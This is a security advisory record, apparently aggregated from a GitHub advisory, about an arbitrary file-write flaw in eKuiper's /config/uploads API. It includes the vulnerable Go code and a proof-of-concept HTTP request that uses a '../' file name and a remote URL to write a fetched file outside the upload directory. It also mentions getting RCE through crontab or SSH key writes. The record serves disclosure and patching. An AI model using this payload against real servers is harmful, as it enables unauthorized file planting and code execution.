eKuiper /config/uploads API arbitrary file writing may lead to RCE
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- Code execution
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-434.
Summary
### Summary eKuiper /config/uploads API supports accessing remote web URLs and saving files in the local upload directory, but there are no security restrictions, resulting in arbitrary file writing through ../. If run with root privileges, RCE can be achieved by writing crontab files or ssh keys. ### Details ```go func fileUploadHandler(w http.ResponseWriter, r *http.Request) { switch r.Method { // Upload or overwrite a file case http.MethodPost: switch r.Header.Get("Content-Type") { case "application/json": fc := &fileContent{} defer r.Body.Close() err := json.NewDecoder(r.Body).Decode(fc) if err != nil { handleError(w, err, "Invalid body: Error decoding file json", logger) return } err = fc.Validate() if err != nil { handleError(w, err, "Invalid body: missing necessary field", logger) return } filePath := filepath.Join(uploadDir, fc.Name) err = upload(fc) ``` - The fc.Name parameter do not safely filtered. ### PoC ``` POST /config/uploads HTTP/1.1 Host: localhost:9081 Content-Type: application/json Content-Length: 89 { "name": "../../../../tmp/success", "file": "http://192.168.65.254:8888/success" } ```  ### Impact Tested and verified only on 1.14.3 and 1.14.1, theoretically all versions using this code could be affected. 1. SSRF 2. Path-Travel 3. May leads to RCE The reporters is m0d9 from Tencent YunDing Lab.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
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| — | github.com/lf-edge/ekuiper/v2 (Go) | before 2.2.0 | 2.2.0 | Patch available | GHSA-gj54-gwj9-x2c6 |
| — | github.com/lf-edge/ekuiper (Go) | up to 1.14.7 | — | No fix listed | GHSA-gj54-gwj9-x2c6 |
- github.com/lf-edge/ekuiper/v2 (Go) Vendor— Affected before 2.2.0 Fixed in 2.2.0 Patch available GHSA-gj54-gwj9-x2c6
- github.com/lf-edge/ekuiper (Go) Vendor— Affected up to 1.14.7 Fixed in — No fix listed GHSA-gj54-gwj9-x2c6
Remediation
- Fix · GHSA-gj54-gwj9-x2c6 github.com/lf-edge/ekuiper/v2 (Go) Fixed in 2.2.0 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-gj54-gwj9-x2c6
References
Sources
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